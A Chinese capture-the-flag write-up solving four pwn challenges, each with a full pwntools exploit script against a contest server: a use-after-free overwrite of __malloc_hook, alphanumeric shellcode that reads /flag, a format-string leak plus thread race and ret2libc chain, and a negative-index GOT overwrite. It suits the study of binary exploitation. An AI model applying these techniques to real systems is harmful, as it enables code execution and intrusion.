# 国城杯_pwn-wp
这次的 pwn 整体难度不算高,难道 pwn 手的春天到了(
# vtable_hijack
写这 vtable,其实一点没用,2.23 的 heap,直接改 malloc_hook 为 ogg 即可
很明显,在 dele 函数上没有指针置 NULL,UAF 即可
没有现在堆块的大小。所以看着两个是真的挺签到的,并且 edit show 也有。
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from pwncli import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context.terminal = ['tmux', 'splitw', '-h', '-P'] | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc.so.6' | |
host, port = "125.70.243.22:31310".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def add(idx,szie): | |
sla('choice:\n','1') | |
sla('index:\n',str(idx)) | |
sla('size:\n',str(szie)) | |
def free(idx): | |
sla('choice:\n','2') | |
sla('index:\n',str(idx)) | |
def edit(idx,length,ct): | |
sla('choice:\n','3') | |
sla('index:\n',str(idx)) | |
sla('length:\n',str(length)) | |
sa('content:\n',ct) | |
def show(idx): | |
sla('choice:\n','4') | |
sla('index:\n',str(idx)) | |
add(0,0x200) | |
add(1,0x60) | |
free(0) | |
show(0) | |
libcbase = u64(rc(6).ljust(8,b'\0')) - 0x39bb78 | |
free_hook = libcbase + libc.sym['__free_hook'] | |
malloc_hook = libcbase + libc.sym['__malloc_hook'] | |
ogg = [0x3f3e6,0x3f43a,0xd5c07] | |
og = libcbase + ogg[2] | |
add(2,0x60) | |
add(3,0x60) | |
add(4,0x60) | |
free(1) | |
free(3) | |
edit(3,8,p64(malloc_hook-0x23)) | |
add(5,0x60) | |
add(6,0x60) | |
edit(6,0x90,b'a'*(0x10 + 0x03)+p64(og)) | |
add(7,0x300) | |
# debug() | |
lg('malloc_hook') | |
lg('libcbase') | |
it() |
# Alpha_Shell
逆向一下,可以发现是看见字符的 shellcode,其实也没必要逆向,看汇编也是能看的大差不差的。
在这里使用 AE 写这个可见字符的 shellcode。开启沙盒
from ae64 import AE64 | |
from pwn import * | |
context.arch='amd64' | |
shellcode = asm(shellcraft.openat(-1, "/flag")) + asm(shellcraft.sendfile(1,3,0,0x40)) | |
print('限制输入大小的shellcode的长度:',0x150) | |
# get alphanumeric shellcode | |
enc_shellcode = AE64().encode(shellcode,'rdx') | |
print(enc_shellcode.decode('latin-1')) |
把这段输入进程序内即可得到 flag
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from pwncli import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context.terminal = ['tmux', 'splitw', '-h', '-P'] | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './Alpha_Shell' | |
# libc = './' | |
host, port = "125.70.243.22:31801".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
# libc = ELF(libc) | |
# elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
# debug('b *0x5555555555af') | |
shecode = 'RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjxTYfi9W50t800T810T820T830T840T850T860T870T880T8A0T8B0T8C0T8F0T8G0t8I0t8L0t8S0T8T0T8U0T8V0T8W0T8b0T8g0T8hRAPZ0t8J0T8M0t8O0T8Y0T8cZRAQZ0T8eZRARZ0t8QZj9TYfi9k10t800T840T8RRAPZ0T8S0t8UZRAQZ0T81ZHpTTTTTTTTPHpwgm5fTTTH1QqHAfj7o1R1HfpTTZPjpAZjTo1RjVnjqXZP' | |
se(shecode) | |
it() |
# Offensive_Security
这道题还是比较精彩的,自我认为(
login 属于 lib2shell 内函数
在这里面很明显有格式化字符串漏洞,利用此漏洞,泄露出 a1 内容即 password,顺便泄露出 libc 内容,为接下来做好工作。
在 vuln 内创建了两个线程,guess 和 checker
__int64 guess() | |
{ | |
puts("[!] Guess the authentication code?"); | |
if ( (unsigned int)__isoc99_scanf("%u", &authentication_code) != 1 ) | |
{ | |
puts("\x1B[1;31m[CRITICAL]\x1B[0m Invalid input."); | |
exit(1); | |
} | |
return 0LL; | |
} |
__int64 checker() | |
{ | |
int v1; // [rsp+1Ch] [rbp-14h] BYREF | |
size_t v2; // [rsp+20h] [rbp-10h] | |
FILE *stream; // [rsp+28h] [rbp-8h] | |
stream = fopen("/dev/random", "rb"); | |
if ( !stream ) | |
{ | |
perror("\x1B[1;31m[CRITICAL]\x1B[0m Failed to open /dev/random"); | |
exit(1); | |
} | |
v2 = fread(&authentication_code, 4uLL, 1uLL, stream); | |
if ( v2 != 1 ) | |
{ | |
perror("\x1B[1;31m[CRITICAL]\x1B[0m Failed to read from /dev/random"); | |
fclose(stream); | |
exit(1); | |
} | |
fclose(stream); | |
puts("[!] Please enter your authentication code: "); | |
if ( (unsigned int)__isoc99_scanf("%u", &v1) != 1 ) | |
{ | |
puts("\x1B[1;31m[CRITICAL]\x1B[0m Invalid input."); | |
exit(1); | |
} | |
if ( v1 != authentication_code ) | |
{ | |
puts("\x1B[1;31m[CRITICAL]\x1B[0m Two-factor authentication failed."); | |
exit(1); | |
} | |
puts("[\x1B[1;32mINFO\x1B[0m] Login success!"); | |
shell(); | |
return 0LL; | |
} |
存在线程竞争的漏洞,可以发现 guess 是往 &authentication_code
输入内容,而 checker 是通过输入内容与 &authentication_code
比较,比较相同则可以进入 shell 函数内。
由于存在线程竞争漏洞,我们同时去输入,则可绕过 checker 的 if 判断
__int64 shell() | |
{ | |
_BYTE s[32]; // [rsp+0h] [rbp-20h] BYREF | |
setvbuf(stdout, 0LL, 1, 0LL); | |
memset(s, 0, sizeof(s)); | |
puts(">"); | |
read(0, s, 0x200uLL); | |
return 0LL; | |
} |
明显的溢出,直接使用格式化字符串得到的 libc 进行 ret2libc 即可
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from pwncli import * | |
from LibcSearcher import * | |
# from ctypes import * | |
context.terminal = ['tmux', 'splitw', '-h', '-P'] | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
# libc = './' | |
host, port = "125.70.243.22:31905".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
# libc = ELF(libc) | |
# elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
sla('Username:\n','||%7$s-%39$p') | |
ru('Welcome, \n||') | |
password = u64(rc(8).ljust(8,b'\x00')) | |
ru('-0x') | |
__libc_start_main = int(rc(12),16) - 128 | |
lg('password') | |
lg('__libc_start_main') | |
# libc = LibcSearcher('__libc_start_main',__libc_start_main) | |
libc_base = __libc_start_main - 0x029dc0 | |
system = libc_base + 0x050d70 | |
binsh = libc_base + 0x1d8678 | |
rdi = 0x0000000000400661 | |
sla('password: \n',p64(password)) | |
r.sendline(str(0x75746e75ed205fca)) | |
r.sendline(str(0x75746e75ed205fca)) | |
py = padding(0x20) + p64(0) + p64(rdi+1) + p64(rdi) + p64(binsh) + p64(system) | |
sla('>\n',py) | |
lg('libc_base') | |
it() |
# beverage store
考点挺简单,覆盖种子和数组越界
通过覆盖种子进入 buy 函数内,buy 函数由于没有对于索引的负数检验,即可上溢到 got 表,got 是可写段,所以可以先将 exit@got 覆写成 buy 地址,然后泄露 got 内的 libc 内容,然后再次覆写 vuln 函数内容的 printf@got 为 system 地址,最后再将 exit@got 覆写成 vuln 地址即可
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from pwncli import * | |
# from LibcSearcher import * | |
from ctypes import * | |
context.terminal = ['tmux', 'splitw', '-h', '-P'] | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc.so.6' | |
host, port = "125.70.243.22:31830".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
libc = cdll.LoadLibrary(libc) | |
# libc = ELF(libc) | |
elf = ELF(binary) | |
srand = libc.srand(0xdeadbeef) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
sla('yours id\n',b'a'*0x8 + p64(0xdeadbeef)) | |
v2 = libc.rand() | |
sla('authentication code:\n',str(v2)) | |
# libc = '/lib/x86_64-linux-gnu/libc.so.6' | |
libc = './libc.so.6' | |
libc = ELF(libc) | |
sla('4 wine\n',str(-0x4)) | |
sla('to choose\n',p64(0x40133B)) | |
sla('4 wine\n',str(-0x8)) | |
sa('to choose\n',p8(0x50)) | |
ru('succeed\n') | |
puts = u64(rc(6).ljust(8,b'\x00')) | |
libcbase = puts - libc.sym['puts'] | |
system =libcbase + libc.sym['system'] | |
# debug('b *0x4013fc') | |
sla('4 wine\n',str(-0x7)) | |
sa('to choose\n',p64(system)) | |
sla('4 wine\n',str(-0x4)) | |
sla('to choose\n',p64(0x401511)) | |
lg('libcbase') | |
it() |